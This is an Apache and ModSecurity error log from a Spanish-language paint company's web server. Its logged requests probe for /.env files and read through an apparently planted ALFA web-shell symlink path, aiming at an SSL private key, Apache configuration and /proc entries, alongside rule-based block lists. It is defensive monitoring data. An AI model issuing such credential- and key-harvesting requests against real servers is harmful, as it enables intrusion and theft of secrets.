[Mon Oct 26 17:25:40.705811 2026] [security2:error] [pid 3084056:tid 3084056] [client 91.92.240.86:47062] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_FVHKvFNFM41eF9IjmyAAAADc"]
[Mon Oct 26 17:25:40.706056 2026] [security2:error] [pid 3084056:tid 3084056] [client 91.92.240.86:47062] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_FVHKvFNFM41eF9IjmyAAAADc"]
[Mon Oct 26 17:25:40.706070 2026] [security2:error] [pid 3098114:tid 3098114] [client 91.92.240.86:47054] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_FVIU8RArHmY5bTmWs9wAAAAY"]
[Mon Oct 26 17:25:42.145613 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 107.20.181.148:46406] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:25:50.203861 2026] [ssl:error] [pid 3103616:tid 3103616] (70014)End of file found: [client 52.71.46.142:46248] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:26:03.580784 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 185.191.171.3:52750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-4k/trace
[Mon Oct 26 17:26:06.151038 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 3.230.224.6:7829] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:26:10.152049 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 34.236.41.241:39616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:26:22.186420 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 98.84.60.17:54893] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:26:26.146812 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 34.195.248.30:5289] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:26:30.276675 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.45.15.233:6424] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:26:34.137855 2026] [ssl:error] [pid 3103616:tid 3103616] (70014)End of file found: [client 52.70.138.176:53867] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:26:38.149898 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.200.54.136:7522] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:26:53.414263 2026] [security2:error] [pid 3083765:tid 3083765] [client 43.167.239.66:37066] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/busca1/proyecto.php"] [unique_id "at_FnaFL9aMETz-8AU8fFgAAAAQ"]
[Mon Oct 26 17:27:02.151259 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 100.29.128.75:25617] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:27:06.909120 2026] [security2:error] [pid 3098114:tid 3098114] [client 185.191.171.7:16584] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d3982_fcf65_f70e64215cd21dc9e92adcd69bcd2f7a.key"] [unique_id "at_FqoU8RArHmY5bTmWs-wAAAAY"]
[Mon Oct 26 17:27:06.909526 2026] [security2:error] [pid 3098114:tid 3098114] [client 185.191.171.7:16584] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d3982_fcf65_f70e64215cd21dc9e92adcd69bcd2f7a.key"] [unique_id "at_FqoU8RArHmY5bTmWs-wAAAAY"]
[Mon Oct 26 17:27:06.909894 2026] [security2:error] [pid 3098114:tid 3098114] [client 185.191.171.7:16584] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d3982_fcf65_f70e64215cd21dc9e92adcd69bcd2f7a.key"] [unique_id "at_FqoU8RArHmY5bTmWs-wAAAAY"]
[Mon Oct 26 17:27:14.152484 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 100.28.57.133:17303] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:27:18.139210 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.223.116.149:19074] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:27:30.145024 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.83.56.1:37587] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:27:34.143444 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.2.191.202:17577] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:27:42.193811 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 100.27.153.9:32243] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:27:46.169329 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.235.239.240:34953] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:27:58.153871 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 98.82.38.120:64249] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:28:06.197363 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.233.114.237:14160] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:28:14.273189 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.221.156.96:6726] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:28:18.352058 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 50.19.102.70:2102] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:28:26.172366 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.85.126.86:57130] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:28:30.271690 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 34.195.248.30:51812] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:28:38.215327 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 85.208.96.209:38120] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pte_list_desc/remote_node_defrag_ratio
[Mon Oct 26 17:28:41.104255 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 185.191.171.11:31998] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:28:42.219549 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.204.71.8:12196] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:28:46.226995 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.166.126.132:61971] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:28:54.162041 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 107.20.255.194:21322] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:29:02.276875 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 44.212.131.50:52304] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:29:06.256531 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 50.16.216.166:31368] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:29:10.156443 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 50.19.102.70:20527] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:29:11.047872 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 185.191.171.9:15756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/free_calls
[Mon Oct 26 17:29:18.165913 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 3.219.81.66:15457] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:29:21.159035 2026] [security2:error] [pid 3098116:tid 3098116] [client 16.216.88.126:4096] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/235_mod_log_config.conf"] [unique_id "at_GMTS1e-yu7xYT1dr5twAAAAk"]
[Mon Oct 26 17:29:21.159486 2026] [security2:error] [pid 3098116:tid 3098116] [client 16.216.88.126:4096] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/235_mod_log_config.conf"] [unique_id "at_GMTS1e-yu7xYT1dr5twAAAAk"]
[Mon Oct 26 17:29:21.159860 2026] [security2:error] [pid 3098116:tid 3098116] [client 16.216.88.126:4096] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/235_mod_log_config.conf"] [unique_id "at_GMTS1e-yu7xYT1dr5twAAAAk"]
[Mon Oct 26 17:29:46.154530 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 23.23.213.182:41064] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:29:54.199013 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 23.22.59.87:27652] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:29:58.160056 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 98.82.63.147:23213] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:30:02.301476 2026] [ssl:error] [pid 3103616:tid 3103616] (70014)End of file found: [client 44.215.235.20:42986] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:30:14.230410 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 34.227.156.153:23363] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:30:18.654600 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 98.84.184.80:32994] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:30:22.329356 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.225.199.17:11931] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:30:28.381726 2026] [security2:error] [pid 3098114:tid 3098114] [client 130.12.180.164:17262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_GdIU8RArHmY5bTmWtAwAAAAY"]
[Mon Oct 26 17:30:28.382119 2026] [security2:error] [pid 3098114:tid 3098114] [client 130.12.180.164:17262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_GdIU8RArHmY5bTmWtAwAAAAY"]
[Mon Oct 26 17:30:28.382471 2026] [security2:error] [pid 3098114:tid 3098114] [client 130.12.180.164:17262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_GdIU8RArHmY5bTmWtAwAAAAY"]
[Mon Oct 26 17:30:30.170224 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 18.210.58.238:55384] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:30:30.535549 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 185.191.171.7:32216] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP/objects_partial
[Mon Oct 26 17:30:50.282447 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.73.142.41:36715] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:30:54.164365 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.197.178.107:63312] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:30:58.190808 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.226.89.140:58697] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:31:02.171924 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.208.156.9:50398] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:31:06.319703 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 34.235.239.240:38381] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource1
[Mon Oct 26 17:31:26.164225 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.205.141.124:47820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:31:30.917958 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.205.141.124:36607] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:31:32.534472 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 185.191.171.3:51134] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pde_opener/order
[Mon Oct 26 17:31:38.151883 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.83.56.1:28950] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:31:40.945314 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 85.208.96.197:53248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/page_alloc/parameters/shuffle
[Mon Oct 26 17:31:42.181408 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 44.208.223.68:1068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/driver/0000:00:03.0/resource1
[Mon Oct 26 17:31:44.430703 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 85.208.96.211:27782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/agetty.reload
[Mon Oct 26 17:31:46.226397 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 52.44.174.136:53785] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/drivers/ec/unbind
[Mon Oct 26 17:31:54.169061 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.200.58.199:53628] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:31:58.187192 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.205.180.155:30580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:32:02.179257 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 98.83.72.38:20559] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:32:26.278413 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.92.171.106:15689] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:32:34.219439 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 34.239.197.197:31289] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/new_id
[Mon Oct 26 17:32:43.078888 2026] [core:crit] [pid 3098113:tid 3098113] (13)Permission denied: [client 216.244.66.250:54836] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194621/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194621/fd/' is executable
[Mon Oct 26 17:32:43.078987 2026] [core:crit] [pid 3098113:tid 3098113] (13)Permission denied: [client 216.244.66.250:54836] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194621/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194621/map_files/' is executable
[Mon Oct 26 17:32:43.079007 2026] [core:crit] [pid 3098113:tid 3098113] (13)Permission denied: [client 216.244.66.250:54836] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194621/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194621/fdinfo/' is executable
[Mon Oct 26 17:32:46.274427 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.231.118.144:27482] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:33:07.201181 2026] [authz_core:error] [pid 3084023:tid 3084023] [client 181.117.137.161:49049] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://five.co.in/redirect.php?ref_host=profil-shop24.com
[Mon Oct 26 17:33:14.164001 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.195.145.102:14891] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:33:21.885842 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 185.191.171.4:10246] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:33:30.171049 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.213.106.226:1809] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:33:38.305713 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 98.84.200.43:2566] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:33:46.265326 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.243.63.52:29806] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:33:50.374497 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.221.105.234:28066] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:34:06.397922 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 23.21.148.226:47971] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:34:18.351190 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 3.89.176.255:43301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:34:26.401983 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.193.115.232:54810] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:34:34.310089 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.197.102.71:2281] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:34:38.302417 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.239.85.139:34285] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:34:42.301972 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 3.221.50.71:46936] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:34:46.330867 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.147.238.89:2867] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:34:50.311965 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.230.69.161:59158] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:34:54.495597 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 34.193.2.57:41729] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:34:58.327555 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 44.214.19.8:46487] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:35:10.476604 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.227.156.153:43257] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:35:26.404652 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 98.83.10.183:16901] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:35:30.481497 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 44.215.210.112:11200] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:35:42.431037 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 184.73.195.18:5327] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0a/subsystem/devices/device:07/subsystem/drivers_probe
[Mon Oct 26 17:35:46.554409 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.213.46.222:52203] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:35:58.617174 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.195.248.30:11749] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:36:02.447314 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 34.225.243.131:48003] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:36:09.195655 2026] [authz_core:error] [pid 3084056:tid 3084056] [client 198.251.85.196:44044] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 17:36:11.238783 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.212.131.50:42955] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:36:14.575551 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.235.172.96:36883] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:36:22.640530 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 107.20.25.33:48128] AH02013: coalesce failed to read from data bucket
